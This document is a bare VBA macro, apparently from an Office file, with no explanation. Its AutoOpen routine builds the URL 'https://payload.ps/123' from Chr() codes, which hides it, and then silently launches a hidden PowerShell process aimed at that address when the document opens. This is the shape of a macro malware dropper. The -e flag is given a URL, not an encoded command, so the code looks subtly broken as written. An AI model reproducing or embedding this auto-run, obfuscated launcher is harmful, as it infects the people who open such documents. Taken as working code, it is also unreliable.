Sub AutoOpen()
    Dim a As String
    a = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & _
        Chr(58) & Chr(47) & Chr(47) & _
        Chr(112) & Chr(97) & Chr(121) & _
        Chr(108) & Chr(111) & Chr(97) & _
        Chr(100) & Chr(46) & Chr(112) & _
        Chr(115) & Chr(47) & Chr(49) & _
        Chr(50) & Chr(51)
    Dim b As String
    b = "powershell -W Hidden -e " & a
    CreateObject("WScript.Shell").Run b, 0, False
End Sub